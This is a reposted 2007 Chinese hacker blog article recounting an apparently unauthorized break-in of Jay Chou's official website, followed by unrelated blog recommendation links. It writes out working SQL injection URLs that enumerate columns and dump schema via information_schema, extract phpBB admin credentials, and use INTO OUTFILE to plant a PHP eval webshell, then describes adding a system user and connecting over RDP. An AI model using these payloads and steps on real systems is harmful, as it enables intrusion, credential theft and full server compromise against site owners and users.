检测周杰伦官方网站 (鬼仔 )

转载 2007年10月02日 18:38:00

文章作者:Flyh4t[脚本安全小组]
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
本文已经发表在《黑客手册》,转载请署名版权

某日在群里聊天,有朋友丢出一个jay官方网站的注入点,闲着无聊就测试了下。没想到最后轻松的得到了系统权限。在取得webshell过程中遇到点困难,也学到了一点东西。
看注射点,老规矩,先提交个单引号,返回如图1


错误提示是
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
这个提示是很有玄机的,可以看到单引号没有转意,也就是说安全模式没有打开,这为我们后文得到webshell提供了机会。
下面猜字段吧,体力活的说
http://www.jay2u.com/jaynews/index.php?action=newsView&newsID=660%20%20and%201=2%20union%20select%201,2,3,4

很轻松的猜出是四个字段。然后还是按部就班的看用户和权限
http://www.jay2u.com/jaynews/index.php?action=newsView&newsID=660%20%20and%201=2%20union%20select%201,2,3,version()


http://www.jay2u.com/jaynews/index.php?action=newsView&newsID=660%20%20and%201=2%20union%20select%201,2,3,user()


Oh yeah!!是mysql5的root权限,看到这里我觉得服务器拿下应该问题不大了。
和mssql、oracle、db2等数据库一样,mysql5提供了一个系统数据库:information_schema
在这个数据库里我们可以得到很多信息,包括当前用户权限、当前用户权限下可以访问的数据库、表、列名,因此在sql注射中,导致直接暴区数据库,表列名,再也不要‘暴力’咯):

开始操作,提交
http://www.jay2u.com/jaynews/index.php?action=newsView&newsID=660%20%20and%201=2%20union%20select%201,TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME%20%20from%20information_schema.STATISTICS/*
貌似没有出现想象中的效果


提示
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'

看来是union 前后字符集不搭配,只好编码一下了,提交
http://www.jay2u.com/jaynews/index.php?action=newsView&newsID=660%20%20and%201=2%20union%20select%201,hex(TABLE_SCHEMA),hex(TABLE_NAME),hex(COLUMN_NAME)%20%20from%20information_schema.STATISTICS/*


这次正常了,连上我自己的mysql,将16进制的编码还原
mysql> select 0x6A6179776562;
+----------------+
| 0x6A6179776562 |
+----------------+
| jayweb |
+----------------+
1 row in set (0.00 sec)
mysql> select 0x41646D696E5F4964;
+--------------------+
| 0x41646D696E5F4964 |
+--------------------+
| Admin_Id |
+--------------------+
1 row in set (0.00 sec)
mysql> select 0x61646D696E;
+--------------+
| 0x61646D696E |
+--------------+
| admin |
+--------------+
1 row in set (0.00 sec)
这里表名出来了,是admin,但是没有暴出密码字段名,我们可以通过使用limit语法逐个表和字段查询,但是数据库很多表的话,不晓得什么时候才能摸清楚。刚好网站上有个phpbb的论坛,还是通过跨库查论坛数据库吧。
看了下,管理员有一个admin一个webmater,看样子webmater比较活跃,就查他的密码了。
提交
http://www.jay2u.com/jaynews/index.php?action=newsView&newsID=660%20%20and%201=2%20union%20select%201,2,username,user_password%20%20from%20phpbb_users%20where%20user_id=66333

到www.cmd5.com上查询出来密码是 :042990
登陆后台去参观下吧 :)

对phpbb不是很熟悉,在后台琢磨了半天,尝试了添加上传类型等办法都没能得到webshell,难道只能渗透到这个程度吗?
喝杯水冷静了下,想起来我已经知道它的安全模式是关闭的而且我们有足够的权限,这意味着什么?嘿嘿,只要知道路径就能通过注射导出一个webshell。现在的问题就是得到路径了,利用uploadpic.php中getimagesize()函数的小bug,先在后台添加上传类型 text/asa,然后到前台传图片的地方传个asa文件,这个函数无法读取起大小,暴出错误时泄露了绝对路径


下面最辉煌的时刻终于要到来了,构造导出webshell的语句

http://www.jay2u.com/jaynews/index.php?action=newsView&newsID=660%20%20and%201=2%20union%20select%201,2,&#39;<?eval($_POST[cmd])?>',4%20from%20mysql.user%20into%20outfile%20'D://website//jayweb//forum//userpix//cnsst.php'/*
成功了!!


用客户端连上,传了个大马

由于编码问题看着有点乱,一样使用,执行命令看看


好象服务器的php是系统权限的,添加了一个用户


连上3389参观下闪人


文章到这里就结束了,没什么技术含量

周杰伦无损音乐专辑cd打包百度云下载【史上最全】

周杰伦,21世纪划时代的流行歌手。杰伦是很多人的青春回忆,博主也不例外。           所以,博主精心整理了杰伦演唱过所有歌曲的,全部为无损flac格式。           只为铁杆歌迷的...
  • ytcnb
  • ytcnb
  • 2018年01月26日 17:00
  • 220

关于周杰伦的《蜗牛》入上海的中学生爱国主义推荐曲,我不得不说几句

台湾歌手周杰伦的一首《蜗牛》被收入上海中学生100首爱国主义歌曲推荐目录之列,这是上海市政府部门第一次出面向学生推荐歌曲。至于何以会选择周杰伦的《蜗牛》,负责人解释说:“关键是这首歌的歌词挺好的”(见...
  • wwwsky
  • wwwsky
  • 2005年03月22日 21:43
  • 2455

天才如周杰伦与周星驰也难逃孤独

天才如周杰伦与周星驰也难逃孤独(访谈记录) 周杰伦带给曾经的我们“一年只等Jay一张”的数次奇迹,为什么我要去做这些事情,就是不甘于只是一个音乐人的身份,因该这样讲,我觉得我自己是一个常常会...
  • whykkalone
  • whykkalone
  • 2015年03月01日 23:48
  • 422

《大灌篮》:不一样的周杰伦

  加入球队后的世杰,没想到队长丁伟(陈柏霖饰)的妹妹莉莉(蔡卓妍饰)是他长久以来暗恋的对象,从此就迫切想要吸引她的注意,所以总是想与莉莉的偶像――萧岚(陈楚河饰)一较高下,使得球队弥漫一股不安定的气...
  • Labber
  • Labber
  • 2008年03月14日 01:26
  • 412

谈老程序员的责任--有感于周杰伦写《听妈妈的话》

 《满城尽带黄金甲》首映庆典上,问及周杰伦为什么写《听妈妈的话》这首歌的时候,本以为他会说和《叶惠美》一样,都是为了妈妈高兴。可是他却说出我没想到,但却深有感触的一句话:现在的年轻人,孝顺很重要,所以...
  • xiammy
  • xiammy
  • 2006年12月16日 22:48
  • 20852

周杰伦新歌《无双》歌词/下载/MP3/MV/试听/在线播放

周杰伦新歌《无双》歌词/下载/MP3/MV/试听/在线播放这个是 需要 我们填的哦:喜欢JAY 今天就认真听。然后好好填写无双的歌词!无双 词:方文山 曲:周杰伦 ****** 路深处 翠落的孟宗竹 ...
  • szsbell
  • szsbell
  • 2007年10月31日 15:21
  • 1147

安卓小应用分析之一 360安仔 桌面悬浮

这个项目是从网上找的,自己分析了下。 360安仔下载地址点击打开链接 package com.malinkang.AssistAnZai; import android.app.Activity;...
  • jonemill
  • jonemill
  • 2014年12月18日 17:22
  • 978

鬼灯的冷彻 第一季 白鬼/鬼白 情侣头像 合集

话说鬼灯的冷彻里,白泽一共出场五话,分别为:第三话,睇五话,第八话,第九话,第十二话,第十三话. 啊,真的好萌的说.(:3 」∠) -・・‘“:.。. .。.:・゜゚・☆1.第三话白泽正式出场.仍然...
  • zhihuier
  • zhihuier
  • 2017年06月26日 18:40
  • 1469

感谢周杰伦

周杰伦应该不是第一个擅长说唱的人,但他对将说唱普及到大众的过程中却是功不可没的。我一直欣赏换个角度看问题,本来嘛,谁也没规定“唱歌”就必须用七个音符来表现,说唱同样是一种很不错的表演形式,特别是,对于...
  • songthin
  • songthin
  • 2006年12月02日 18:10
  • 2890

魔杰座专辑MP3打包下载-周杰伦Jay最新CD

上一次心情低落的时候,听到了《我很忙》的彩虹,
  • gavin_luo
  • gavin_luo
  • 2008年10月07日 11:28
  • 1957
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:检测周杰伦官方网站 (鬼仔 )
举报原因:
原因补充:

(最多只允许输入30个字)